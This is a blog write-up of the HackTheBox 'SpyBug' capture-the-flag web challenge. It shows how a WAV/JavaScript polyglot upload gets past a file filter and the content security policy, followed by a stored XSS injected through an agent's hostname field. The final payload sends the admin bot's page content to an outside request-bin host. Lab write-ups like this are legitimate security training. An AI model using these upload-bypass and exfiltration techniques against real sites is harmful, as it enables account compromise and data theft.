Willem Medendorp's Blog

Willem Medendorp's Blog

SpyBug Writeup

📅
🏷️ [CTF,HackTheBox,Web]

Description

As Pandora made her way through the ancient tombs, she received a message from her contact in the Intergalactic Ministry of Spies. They had intercepted a communication from a rival treasure hunter who was working for the alien species. The message contained information about a digital portal that leads to a software used for intercepting audio from the Ministry's communication channels. Can you hack into the portal and take down the aliens counter-spying operation?

First glance

A login portal for agents

We need to login to the /panel as admin to get the flag rendered

router.get("/panel", authUser, async (req, res) => {
  res.render("panel", {
    username:
      req.session.username === "admin"
        ? process.env.FLAG
        : req.session.username,
    agents: await getAgents(),
    recordings: await getRecordings(),
  });
});

There are two routes. One has the panel where we could find the flag. The other route is an API for agents where recordings can be uploaded.

Identifying attack path

There is an admin bot that logs in every few minutes to the panel. This suggests that we should do a xss attack

If we take a look at the template for panel, we see that agents and recordings get rendered. See we should try and modify the data that gets rendered. We can do this by making an agent and then injecting a script in the hostname.

Registering agent

If we look in the agents.js file we can see the route to get a new agent:

router.get("/agents/register", async (req, res) => {
  res.status(200).json(await registerAgent());
});

If we visit this route we get an id an token

curl http://$HOSTNAME/agents/register
{"identifier":"f1fc3f54-06cb-45d5-8f68-1e9a257a562a","token":"5ca34f0c-410c-4da4-8970-203800977ea2"}

We save these for later:

ID=f1fc3f54-06cb-45d5-8f68-1e9a257a562a
TOKEN=5ca34f0c-410c-4da4-8970-203800977ea2

In the agents.js we can also see a check route. curl http://$HOSTNAME/agents/check/$ID/$TOKEN -> OK The agent seems to be working

Updating the details

We can use the API to update the agents hostname, platform and arch.

curl -X POST http://$HOSTNAME/agents/details/$ID/$TOKEN -d "hostname=test1&platform=test2&arch=test3"

Crafting the XSS P1

To craft a working exploit we change the local docker files of the challenge such that we can log in as admin.

On the panel we now see our registered agent with its details. Setting the hostname to <script>alert(1)</script> does not work. This is because the Content-Security-Policy. Scripts inline are not allowed. We are allowed to set the source of a script to locally contained scripts. So we must find a way to get our script in the server.

Uploading our script

In agents there is also the POST recording route. On this route we can upload .wav files. The included .go agent does not work so we must discover our own way to upload files. The route uses multerUpload.single("recording") as middle where. To upload a file we must send a form multipart request with the field recording

We can upload a random form multipart file with curl: curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form "recording=@test.wav" This fails because we did not specify the form type. Multer used a filefilter:

fileFilter: (req, file, cb) => {
console.log(file);
if (
  file.mimetype === "audio/wave" &&
  path.extname(file.originalname) === ".wav"
) {
  cb(null, true);
} else {
  return cb(null, false);
}
}

We can add this mimetype by adding type=audio/wave curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form "recording=@test.wav;type=audio/wave"

It will however still fail because in the post route it also tries to match a regex string. !buffer.match(/52494646[a-z0-9]{8}57415645/g) These are the magic bytes for a .wav file. This match is done globally, to we can add these bytes any in our file. We touch a new file exploit.wav and hexedit to add these bytes at the end. Such that the final bytes are: 524946460000000057415645

curl http://$HOSTNAME/agents/upload/$ID/$TOKEN --form "recording=@exploit.wav;type=audio/wave" returns the upload ID, we all we have to do is craft our script and reference it.

With vim we can edit our exploit.wav. As a poc we add alert to the top and place to slashed before our magic bytes such that do not cause a synstax error.

alert(1)
//RIFF^@^@^@^@WAVE

We upload this to the server and save the in $SCRIPT_ID

Crafting the XSS P2

With this we can change our hostname to include our new script Setting the hostname to <script src="/uploads/$SCRIPT_ID"></script> curl -X POST http://$HOSTNAME/agents/details/$ID/$TOKEN -d "hostname=%3cscript%20src%3d%22%2fuploads%2f$SCRIPT_ID%22%3e%3c%2fscript%3e&platform=test2&arch=test3" If we now access the page again the script gets executed. Now we make it such that it extracts the flag.

The flag is rendered on the page inside <h2> tags. We can get this with: document.body.getElementsByTagName("h2")[0].getInnerHTML() As a request bin we use httpdump. To force the browser of the admin to make a external request we use new Image().src= Our full exfiltration script then looks like this:

new Image().src=" https://httpdump.app/dumps/7c767ff0-df2e-4945-a44d-5a4e19b68a20?doc="+document.body.getElementsByTagName("h2")[0].getInnerHTML();
//MAGICBYTES

We upload this, update our hostname to include the new file ID. Wait a few seconds and we get our flag: HTB{p01yg10t5_4nd_35p10n4g3}

Copyright 2024
Willem Medendorp

made with
and